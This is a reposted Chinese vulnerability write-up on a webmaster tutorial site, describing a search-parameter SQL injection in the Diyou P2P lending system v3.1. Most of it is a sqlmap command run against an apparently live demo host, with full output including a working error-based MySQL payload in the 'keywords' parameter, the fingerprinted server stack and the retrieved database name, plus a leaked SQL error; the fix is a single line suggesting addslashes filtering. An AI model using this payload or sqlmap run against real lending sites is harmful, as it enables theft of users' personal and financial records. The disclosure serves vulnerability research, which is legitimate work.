欢迎来到站长教程网!

工具资源

当前位置:主页 > 网站运营 > 工具资源 >

帝友P2P借贷系统搜索型SQL注入 - 网站安全 - 自学

时间:2019-08-12|栏目:工具资源|点击:

帝友P2P借贷系统搜索型SQL注入

标题上面说是v3.1版本,具体是什么版本,亲~您懂的。
 

?keywords=1&borrow_type=&account_status=&borrow_interestrate=&spread_month=


注入点keywords

直接带入数据库中查询/

 

C:\Python27\sqlmap>sqlmap.py -u " ?keywords=1&borrow_type=&account_status=&borrow_interestrate=&spread_month=" --b atch -p "keywords" -v 2 --current-db sqlmap/0.9 - automatic SQL injection and database takeover tool [*] starting at: 12:03:53 [12:03:53] [DEBUG] cleaning up configuration parameters [12:03:53] [DEBUG] setting the HTTP timeout [12:03:53] [DEBUG] setting the HTTP method to GET [12:03:53] [DEBUG] creating HTTP requests opener object [12:03:53] [INFO] using 'C:\Python27\sqlmap\output\v31.diyou.cc\session' as sess ion file [12:03:53] [INFO] resuming injection data from session file [12:03:53] [INFO] resuming back-end DBMS 'mysql 5.0' from session file [12:03:53] [INFO] testing connection to the target url [12:03:54] [WARNING] the testable parameter 'keywords' you provided is not into the Cookie sqlmap identified the following injection points with a total of 0 HTTP(s) reque sts: --- Place: GET Parameter: keywords Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: keywords=1' AND (SELECT 7351 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99 ,104,116,58),(SELECT (CASE WHEN (7351=7351) THEN 1 ELSE 0 END)),CHAR(58,120,112, 99,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND 'iLHc '='iLHc&borrow_type=&account_status=&borrow_interestrate=&spread_month= --- [12:03:54] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian or Ubuntu 6.0 (unstable sid or testing squeeze) web application technology: PHP 5.3.3, Apache 2.2.16 back-end DBMS: MySQL 5.0 [12:03:54] [INFO] fetching current database [12:03:54] [INFO] retrieved: 131209_v31diyou [12:03:54] [DEBUG] performed 1 queries in 0 seconds current database: '131209_v31diyou' [12:03:54] [INFO] Fetched data logged to text files under 'C:\Python27\sqlmap\ou tput\v31.diyou.cc' [*] shutting down at: 12:03:54

1%27带入查询,数据库报错。

 

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 6执行SQL语句错误!select count(1) as num from `deayou_borrow_change` as p1 left join`deayou_borrow_tender` as p2 on p1.tender_id=p2.id left join `deayou_users` as p3 on p2.user_id=p3.user_id left join `deayou_borrow` as p4 on p2.borrow_nid=p4.borrow_nid left join `deayou_users` as p6 on p4.user_id=p6.user_id left join `deayou_users` as p5 on p1.buy_userid=p5.user_id where 1=1 and p1.status in (1) and p4.name like '%1'%'


 

帝友P2P借贷系统搜索型SQL注入 - 网站安全 - 自学


帝友P2P借贷系统搜索型SQL注入 - 网站安全 - 自学


 

漏洞修复方法:

过滤addslashes,可以参考原来dedecms那个搜索型修补。

上一篇:优酷主站stored xss可执行任意js代码 - 网站安全

栏    目:工具资源

下一篇:百度云加速/加速乐/安全宝/360等所有waf产品某些

本文标题:帝友P2P借贷系统搜索型SQL注入 - 网站安全 - 自学

本文地址:http://www.jh-floor.com/wangzhanyunying/gongjuziyuan/19920.html

广告投放 | 联系我们 | 版权申明

重要申明:本站所有的文章、图片、评论等,均由网友发表或上传并维护或收集自网络,属个人行为,与本站立场无关。

如果侵犯了您的权利,请与我们联系,我们将在24小时内进行处理、任何非本站因素导致的法律后果,本站均不负任何责任。

联系QQ:888888 | 邮箱:888888#qq.com(#换成@)

Copyright © 2002-2017 青云站长教程网 版权所有 琼ICP备xxxxxxxx号